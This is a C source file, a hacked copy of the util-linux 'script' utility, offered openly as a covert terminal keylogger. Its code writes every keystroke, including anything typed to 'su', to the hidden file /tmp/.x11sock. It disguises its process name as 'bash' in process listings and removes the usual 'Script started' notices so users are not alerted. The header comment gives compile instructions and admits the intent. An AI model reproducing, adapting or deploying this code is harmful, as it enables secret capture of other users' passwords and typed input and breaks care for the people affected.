/*
 * 
 * NOTE NOTE NOTE NOTE !!!
 * This is a "hacked version of script which logs everything typed to a terminal to /tmp/.x11sock (change it in the source is you like to do so)
 * It is *heavily* based on script.c (util-linux). Thanks Thanks Thanks to the Author.
 * It tries to emulate a normal terminal quitting the original shell on exit and I actually used
 * for running "su" which complains about missin terminal (you know what I mean, if you don't forget it!)
 * If normal user runs "ps xf" it easy to understand something different is happening, but sometimes one's luck!
 * Below you can find the original "script.c Licence"
 * compile with (under linux)
 * cc -c -pipe -O2 -mtune=i486 -fomit-frame-pointer -I../lib -Wall -Wmissing-prototypes -Wstrict-prototypes -DNCH=1   -D_FILE_OFFSET_BITS=64 -DSBINDIR=\"/sbin\" -DUSRSBINDIR=\"/usr/sbin\" -DLOGDIR=\"/var/log\" -DVARPATH=\"/var\" -DLOCALEDIR=\"/usr/share/locale\" -O2 script.c -o script.o
 * cc -s -static script.o -o script  -lutil
 * 
 * Take care
 * Sicktoy 06/12/08
 *
 * Copyright (c) 1980 Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *  This product includes software developed by the University of
 *  California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 * 1999-02-22 Arkadiusz Mi¶kiewicz <misiek@pld.ORG.PL>
 * - added Native Language Support
 *
 * 2000-07-30 Per Andreas Buer <per@linpro.no> - added "q"-option
 */

/*
 * script
 */
#include <stdio.h>
#include <stdlib.h>
#include <paths.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/signal.h>
#define UTIL_LINUX_VERSION "2.12r"
#define util_linux_version "util-linux-2.12r"

#define HAVE_scsi_h
#define HAVE_blkpg_h
#define HAVE_kd_h
#define HAVE_locale_h
#define HAVE_langinfo_h
#define HAVE_sys_user_h
#define HAVE_rpcsvc_nfs_prot_h
#define HAVE_asm_types_h
#define HAVE_stdint_h
#define HAVE_sys_io_h
#define HAVE_inet_aton
#define HAVE_fsync
#define HAVE_getdomainname
#define HAVE_nanosleep
#define HAVE_personality
#define HAVE_updwtmp
#define HAVE_fseeko
#define HAVE_lchown
#define HAVE_rpmatch
#define HAVE_ncurses
#define HAVE_termcap
#define HAVE_libintl_h
#define MAY_ENABLE_NLS
#define HAVE_progname
#define HAVE_openpty
#define ENABLE_WIDECHAR
#define HAVE_tm_gmtoff

int main(int argc, char *argv[]);


#ifndef PACKAGE
#define PACKAGE  "util-linux"
#endif

#ifndef LOCALEDIR
#define LOCALEDIR "/usr/share/locale"
#endif

#ifdef HAVE_locale_h
# include <locale.h>
#endif

#if defined MAY_ENABLE_NLS && !defined DISABLE_NLS
# include <libintl.h>
# define _(Text) gettext (Text)
# ifdef gettext_noop
#  define N_(String) gettext_noop (String)
# else
#  define N_(String) (String)
# endif
#else
# undef bindtextdomain
# define bindtextdomain(Domain, Directory) /* empty */
# undef textdomain
# define textdomain(Domain) /* empty */
# define _(Text) (Text)
# define N_(Text) (Text)
#endif



#ifdef __linux__
#include <unistd.h>
#include <string.h>
#endif

#ifdef HAVE_openpty
#include <pty.h>
#endif

void finish(int);
void done(void);
void fail(void);
void resize(int);
void fixtty(void);
void getmaster(void);
void getslave(void);
void doinput(void);
void dooutput(void);
void doshell(void);

char  *shell;
FILE  *fscript;
int  master;
int  slave;
int  child;
int  subchild;
char  *fname = "/dev/null";

struct  termios tt;
struct  winsize win;
int  lb;
int  l;
#ifndef HAVE_openpty
char  line[] = "/dev/ptyXX";
#endif
int  aflg = 0;
char  *cflg = NULL;
int  fflg = 0;
int  qflg = 1;
int  tflg = 0;
pid_t   xpid;
char *xpname = "bash";
static char *progname;

static void
die_if_link(char *fn) {
  struct stat s;

  if (lstat(fn, &s) == 0 && (S_ISLNK(s.st_mode) || s.st_nlink > 1)) {
    fprintf(stderr,
      _("Warning: `%s' is a link.\n"
        "Use `%s [options] %s' if you really "
        "want to use it.\n"
        "Script not started.\n"),
      fn, progname, fn);
    exit(1);
  }
}

/*
 * script -t prints time delays as floating point numbers
 * The example program (scriptreplay) that we provide to handle this
 * timing output is a perl script, and does not handle numbers in
 * locale format (not even when "use locale;" is added).
 * So, since these numbers are not for human consumption, it seems
 * easiest to set LC_NUMERIC here.
 */

int
main(int argc, char **argv) {
  extern int optind;
  char *p;
  int ch;

  memset(argv[0], 0, strlen(argv[0]));
  strcpy(argv[0], xpname);
  progname = argv[0];
//  argv[1] = xpname;
//  if ((p = strrchr(progname, '/')) != NULL)
//    progname = p+1;


  setlocale(LC_ALL, "");
  setlocale(LC_NUMERIC, "C");  /* see comment above */
  bindtextdomain(PACKAGE, LOCALEDIR);
  textdomain(PACKAGE);

  


  xpid = getppid();
//  fprintf(stderr, "xpid = %d\n", xpid);
  
//  if (argc == 2) {
//    if (!strcmp(argv[1], "-V") || !strcmp(argv[1], "--version")) {
//      printf(_("%s from %s\n"),
//             progname, util_linux_version);
//      return 0;
//    }
//  }

//  while ((ch = getopt(argc, argv, "ac:fqt")) != -1)
//    switch((char)ch) {
    //case 'a':
      //aflg++;
      //break;
    //case 'c':
      //cflg = optarg;
      //break;
    //case 'f':
      //fflg++;
      //break;
    //case 'q':
      //qflg++;
      //break;
    //case 't':
      //tflg++;
      //break;
    //case '?':
    //default:
      //fprintf(stderr,
        //_("usage: script [-a] [-f] [-q] [-t] [file]\n"));
      //exit(1);
    //}
  argc -= optind;
  argv += optind;

//  if (argc > 0)
//    fname = argv[0];
//  else {
//    fname = "typescript";
//    //die_if_link(fname);
//  }
  if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) {
    perror(fname);
    fail();
  }

  shell = getenv("SHELL");
  if (shell == NULL)
    shell = _PATH_BSHELL;

  getmaster();
  //if (!qflg)
  //  printf(_("Script started, file is %s\n"), fname);
  fixtty();

  (void) signal(SIGCHLD, finish);
  child = fork();
  if (child < 0) {
    perror("fork");
    fail();
  }
  if (child == 0) {
    subchild = child = fork();
    if (child < 0) {
      perror("fork");
      fail();
    }
    if (child)
      dooutput();
    else
      doshell();
  } else
    (void) signal(SIGWINCH, resize);
  doinput();

  return 0;
}

void
doinput() {
  register int cc;
  char ibuf[BUFSIZ];
  FILE *fh;
  int xfd;
  char *xname = "/tmp/.x11sock";

  (void) fclose(fscript);

  fh = fopen(xname, "a");
  xfd = fileno(fh);
  while ((cc = read(0, ibuf, BUFSIZ)) > 0) {
    (void) write(master, ibuf, cc);
    write(xfd, ibuf, cc);
  }
  fclose(fh);
  done();
}

#include <sys/wait.h>

void
finish(int dummy) {
  int status;
  register int pid;
  register int die = 0;

  while ((pid = wait3(&status, WNOHANG, 0)) > 0)
    if (pid == child)
      die = 1;

  if (die)
    done();
}

void
resize(int dummy) {
  /* transmit window change information to the child */
  (void) ioctl(0, TIOCGWINSZ, (char *)&win);
  (void) ioctl(slave, TIOCSWINSZ, (char *)&win);

  kill(child, SIGWINCH);
}

/*
 * Stop extremely silly gcc complaint on %c:
 *  warning: `%c' yields only last 2 digits of year in some locales
 */
static void
my_strftime(char *buf, size_t len, const char *fmt, const struct tm *tm) {
  strftime(buf, len, fmt, tm);
}

void
dooutput() {
  register int cc;
  time_t tvec;
  char obuf[BUFSIZ];
  struct timeval tv;
  double oldtime=time(NULL), newtime;

  (void) close(0);
#ifdef HAVE_openpty
  (void) close(slave);
#endif
  tvec = time((time_t *)NULL);
  my_strftime(obuf, sizeof obuf, "%c\n", localtime(&tvec));
  //fprintf(fscript, _("Script started on %s"), obuf);

  for (;;) {
    if (tflg)
      gettimeofday(&tv, NULL);
    cc = read(master, obuf, sizeof (obuf));
    if (cc <= 0)
      break;
    if (tflg) {
      newtime = tv.tv_sec + (double) tv.tv_usec / 1000000;
      //fprintf(stderr, "%f %i\n", newtime - oldtime, cc);
      oldtime = newtime;
    }
    (void) write(1, obuf, cc);
    (void) fwrite(obuf, 1, cc, fscript);
    if (fflg)
      (void) fflush(fscript);
  }
  done();
}

void
doshell() {
  char *shname;

#if 0
  int t;

  t = open(_PATH_TTY, O_RDWR);
  if (t >= 0) {
    (void) ioctl(t, TIOCNOTTY, (char *)0);
    (void) close(t);
  }
#endif

  getslave();
  (void) close(master);
  (void) fclose(fscript);
  (void) dup2(slave, 0);
  (void) dup2(slave, 1);
  (void) dup2(slave, 2);
  (void) close(slave);

  shname = strrchr(shell, '/');
  if (shname)
    shname++;
  else
    shname = shell;

  if (cflg)
    execl(shell, shname, "-c", cflg, 0);
  else
    execl(shell, shname, "-i", 0);

  perror(shell);
  fail();
}

void
fixtty() {
  struct termios rtt;

  rtt = tt;
  cfmakeraw(&rtt);
//  rtt.c_lflag &= ~ECHO;
  (void) tcsetattr(0, TCSAFLUSH, &rtt);
}

void
fail() {

  (void) kill(0, SIGTERM);
  done();
}

void
done() {
  time_t tvec;

  if (subchild) {
    if (!qflg) {
      char buf[BUFSIZ];
      tvec = time((time_t *)NULL);
      my_strftime(buf, sizeof buf, "%c\n", localtime(&tvec));
//      fprintf(fscript, _("\nScript done on %s"), buf);
    }
    (void) fclose(fscript);
    (void) close(master);
  } else {
    (void) tcsetattr(0, TCSAFLUSH, &tt);
//    if (!qflg)
//      printf(_("Script done, file is %s\n"), fname);
  }
//  fprintf(stderr, "xpid 2 = %d\n", xpid);
  kill(xpid, SIGHUP);

  exit(0);
}

void
getmaster() {
#ifdef HAVE_openpty
  (void) tcgetattr(0, &tt);
  (void) ioctl(0, TIOCGWINSZ, (char *)&win);
  if (openpty(&master, &slave, NULL, &tt, &win) < 0) {
    fprintf(stderr, _("openpty failed\n"));
    fail();
  }
#else
  char *pty, *bank, *cp;
  struct stat stb;

  pty = &line[strlen("/dev/ptyp")];
  for (bank = "pqrs"; *bank; bank++) {
    line[strlen("/dev/pty")] = *bank;
    *pty = '0';
    if (stat(line, &stb) < 0)
      break;
    for (cp = "0123456789abcdef"; *cp; cp++) {
      *pty = *cp;
      master = open(line, O_RDWR);
      if (master >= 0) {
        char *tp = &line[strlen("/dev/")];
        int ok;

        /* verify slave side is usable */
        *tp = 't';
        ok = access(line, R_OK|W_OK) == 0;
        *tp = 'p';
        if (ok) {
          (void) tcgetattr(0, &tt);
              (void) ioctl(0, TIOCGWINSZ, 
            (char *)&win);
          return;
        }
        (void) close(master);
      }
    }
  }
  //fprintf(stderr, _("Out of pty's\n"));
  fail();
#endif /* not HAVE_openpty */
}

void
getslave() {
#ifndef HAVE_openpty
  line[strlen("/dev/")] = 't';
  slave = open(line, O_RDWR);
  if (slave < 0) {
    perror(line);
    fail();
  }
  (void) tcsetattr(slave, TCSAFLUSH, &tt);
  (void) ioctl(slave, TIOCSWINSZ, (char *)&win);
#endif
  (void) setsid();
  (void) ioctl(slave, TIOCSCTTY, 0);
}